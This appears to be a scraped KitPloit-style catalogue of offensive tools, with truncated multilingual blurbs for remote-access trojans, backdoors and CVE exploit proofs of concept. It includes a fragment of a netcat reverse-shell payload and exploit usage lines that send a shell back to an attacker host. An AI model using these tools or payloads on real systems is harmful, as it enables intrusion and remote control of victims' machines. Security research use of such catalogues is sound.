AhMyth-Android-RAT

AhMyth Android Rat Versione Beta Si compone di due parti: Lato server: applicazione desktop basata sul framework electron pannello di controllo Lato client: applicazione Android backdoor Per Iniziare Hai due opzioni per installarlo 1 Dal codice sorgente Prerequisiti: Electron per avviare l'app Ja...

SocialFishMobile

SocialFish Mobile Questa applicazione è un progetto open-source per controllare da remoto SocialFish, non funziona in modo indipendente. Come compilare root@kitploit: Prepare your Flutter environment Go to https://flutter.dev/docs/get-started/install After configured go ahead Clone this repositor...

Idisagree

Idisagree v1.0 Steuere entfernte Computer mit Discord-Bot und Python 3. ! Falls Ihr Ziel ein Windows-System ist, möchten Sie möglicherweise Ihren Payload kompilieren. Tun Sie dies mit py2exe oder pyinstaller. BETREUER Alisson Moretto | Twitter: @UndeadSec Github: @UndeadSec VORAUSSETZUNGEN Python...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilizzo root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

ThunderShell

ThunderShell ThunderShell è un RAT in C che comunica tramite richieste HTTP. Tutto il traffico di rete è crittografato utilizzando un secondo livello di RC4 per evitare l'intercettazione SSL e sconfiggere il rilevamento di rete sul sistema di destinazione. RC4 è un cifrario debole e viene...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit di esecuzione remota di comandi tramite migrazione repository Gitea. Come usare 1. Esegui un server filesystem HTTP con i file in questo repository. 2. Modifica il comando da eseguire in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra un repository remoto con URL...

cve-2018-15473

CVE-2018-15473: Enumerazione degli Username OpenSSH OpenSSH fino alla versione 7.7 permette ad attaccanti remoti di enumerare username validi inviando richieste di autenticazione malformate e osservando le risposte differenziali del server. Dettagli Campo| Valore ---|--- Software Affetto| OpenSSH...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Requisiti di ambiente 1. tomcat8 8 Utilizzo 1. Scarica springframeworkrce-0.0.1-SNAPSHOT.zip, estrailo e rinominalo in ROOT.war. 2. Sostituisci la cartella ROOT o il file ROOT.war nella cartella webapps all'interno di tomcat. 3. Spostati nella directory bin...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 Initialer Exploit für CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP Remote Windows-Kernel Use-After-Free Der RDP-Treiber termdd.sys behandelt Bindungen an den nur internen Kanal MST120 fehlerhaft, sodass eine fehlerhaft formatierte Disconnect Provider Indication-Nachricht einen...

msf-remote-console

Non mantenuto Questo strumento non sarà più mantenuto da me. Esistono alternative migliori direttamente da Rapid7 come descritto qui: Come eseguire metasploit da remoto Esempio: Per rendere i comandi msf utilizzabili al di fuori della directory metasploit-framework, imposta la variabile GEMHOME...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Vulnerabilità di esecuzione remota di comandi nel framework Spring CVE-2022-22965 Spring-Core-RCE è uno sfruttamento RCE一键 paragonabile per gravità alla vulnerabilità nucleare Apache Log4j2 Panoramica Recentemente, nella issue ufficiale di Spring su GitHub, è stata menzionata una...

THM-Vulnerability_Capstone-CVE-2018-16763

THM-VulnerabilityCapstone-CVE-2018-16763 Una descrizione della room Vulnerability Capstone su THM e script di exploit per CVE-2018-16763. CREDITS Non rivendico il merito della scoperta di questa vulnerabilità. Grazie alle seguenti persone. Scoperta della vulnerabilità: 0xd0ff9 Room TryHackMe &...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 Ein Write-up zur Steel Mountain Box von TryHackMe.com und Exploit für CVE-2014-6287 Credits Ich maße mir nicht an, die ursprüngliche Entdeckung und Ausnutzung dieser Schwachstelle selbst gemacht zu haben. Vielen Dank an die folgenden Personen! Entdeckung: Daniele...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Ricerca Pulse Secure mitm Data di rilascio Data di rilascio congiunta con il fornitore: 26 ottobre 2020 Autore David Kierznowski, @withdk Riconoscimenti Sahil Mahajan del Pulse Secure PSIRT Team per il supporto durante il processo di divulgazione. Alyssa Herrera,...

pupy

Pupy Simple Installation root@kitploit: pip3 install pipx pipx ensurepath pipx install git+https://github.com/n1nj4sec/pupy@nextgen pupysh If you want more detailed informationRefer to the wiki Development Install root@kitploit: git clone https://github.com/n1nj4sec/pupy cd pupy git checkout...

linux-explorer

This project is no longer maintained! Linux Expl0rer Easy-to-use live forensics toolbox for Linux endpoints written in Python & Flask. Capabilities ps View full process list Inspect process memory map & fetch memory strings easly Dump process memory in one click Automatically search hash in publi...

CVE-2023-46404

CVE-2023-46404 PCRS è una webapp per esercizi di programmazione online sviluppata all'Università di Toronto. Vedi repository Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/ Riepilogo La pagina “Questions” di PCRS con invio di codice e la pagina “Code editor” sono vulnerabili...

CVE-2024-4577

Questa è la POC della CVE 2024-4577 Questo exploit consente a un attaccante di eseguire RCE su versioni PHP come PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 Puoi controllare gli argomenti dal codice! Per saperne di più su questo specifico exploit, consulta nist.gov...